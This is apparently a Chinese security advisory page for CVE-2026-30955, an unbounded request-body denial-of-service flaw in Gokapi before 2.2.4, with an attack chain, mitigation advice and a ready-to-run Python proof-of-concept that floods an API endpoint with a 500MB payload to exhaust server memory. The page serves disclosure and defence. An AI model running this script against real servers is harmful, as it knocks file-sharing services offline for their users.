IPBUF安全漏洞报告
English
CVE-2026-30955 CVSS 6.5 中危

CVE-2026-30955: Gokapi API无限制请求体导致拒绝服务漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-30955
漏洞类型
资源耗尽/拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Gokapi

相关标签

拒绝服务资源耗尽内存溢出API安全GokapiCVE-2026-30955文件共享自托管

漏洞概述

CVE-2026-30955是Gokapi文件共享服务器中的一个高危拒绝服务漏洞。Gokapi是一款自托管的文件共享工具,支持文件自动过期和加密功能。在2.2.4之前的版本中,API端点存在严重的设计缺陷,允许接收无大小限制的请求体。攻击者只需拥有低权限的认证账户,即可发送超大体积的请求数据,触发服务器的内存溢出(OOM)条件。该漏洞会导致Gokapi服务进程被系统强制终止,造成所有用户无法访问文件共享服务,形成完全的拒绝服务状态。由于无需用户交互,攻击可在静默状态下进行,对服务可用性造成严重影响。

技术细节

Gokapi在处理API请求时,未对请求体的数据大小进行任何限制检查。攻击者利用这一缺陷,通过认证后的低权限账户,向API端点发送超大体积的请求数据(如超大文件上传或恶意构造的JSON payload)。由于服务器在内存中完整加载这些无限制的数据,导致进程内存占用急剧攀升。当内存消耗达到系统限制时,操作系统触发OOM Killer机制,强制终止Gokapi服务进程。此漏洞的技术要点包括:1) API层缺少Content-Length或请求体大小的校验逻辑;2) 服务器端缺乏内存使用的上限保护机制;3) 未实现请求体的流式处理或分块加载。攻击者可通过持续发送大请求或单次发送超大数据包实现DoS攻击。

攻击链分析

STEP 1
1
攻击者获取Gokapi的低权限认证账户
STEP 2
2
识别存在漏洞的API端点(接受请求体的端点)
STEP 3
3
构造超大体积的请求体(500MB+数据)
STEP 4
4
通过已认证会话发送恶意请求到API端点
STEP 5
5
服务器完整加载请求体到内存,导致内存耗尽
STEP 6
6
操作系统触发OOM Killer,强制终止Gokapi进程
STEP 7
7
服务中断,所有用户无法访问文件共享功能

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-30955 PoC - Gokapi Unbounded Request Body DoS Note: This is for educational and authorized testing purposes only. """ import requests import sys import argparse def create_large_payload(size_mb): """Generate a large payload of specified size in MB""" return b'\x00' * (size_mb * 1024 * 1024) def exploit_gokapi_dos(target_url, api_path, auth_token): """ Exploit CVE-2026-30955 by sending unbounded request body to trigger OOM and service disruption """ headers = { 'Authorization': f'Bearer {auth_token}', 'Content-Type': 'application/octet-stream' } # Try to send a very large payload (adjust size based on target memory) payload_size = 500 # MB - adjust based on target server memory print(f'[*] Generating {payload_size}MB payload...') payload = create_large_payload(payload_size) full_url = f'{target_url.rstrip("/")}/{api_path.lstrip("/")}' print(f'[*] Sending malicious request to {full_url}') print(f'[*] Payload size: {len(payload)} bytes') try: response = requests.post( full_url, headers=headers, data=payload, timeout=300 ) print(f'[!] Response status: {response.status_code}') return True except requests.exceptions.RequestException as e: print(f'[*] Request completed (connection may have been dropped): {e}') return True if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2026-30955 PoC') parser.add_argument('-t', '--target', required=True, help='Target Gokapi server URL') parser.add_argument('-p', '--path', default='api/v1/upload', help='API endpoint path') parser.add_argument('-k', '--token', required=True, help='Authentication token') args = parser.parse_args() print('[+] CVE-2026-30955 - Gokapi Unbounded Request Body DoS') exploit_gokapi_dos(args.target, args.path, args.token)

影响范围

Gokapi < 2.2.4

防御指南

临时缓解措施
在未完成升级前,可通过以下措施临时缓解:1) 使用Web应用防火墙(WAF)限制请求体大小;2) 在Nginx反向代理中配置client_max_body_size参数限制上传大小;3) 对API端点实施严格的认证和授权控制,确保只有可信用户能访问;4) 部署内存监控告警,及时发现异常内存消耗;5) 考虑在Docker/Kubernetes环境中为Gokapi设置内存限制,防止单点故障影响整个系统。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表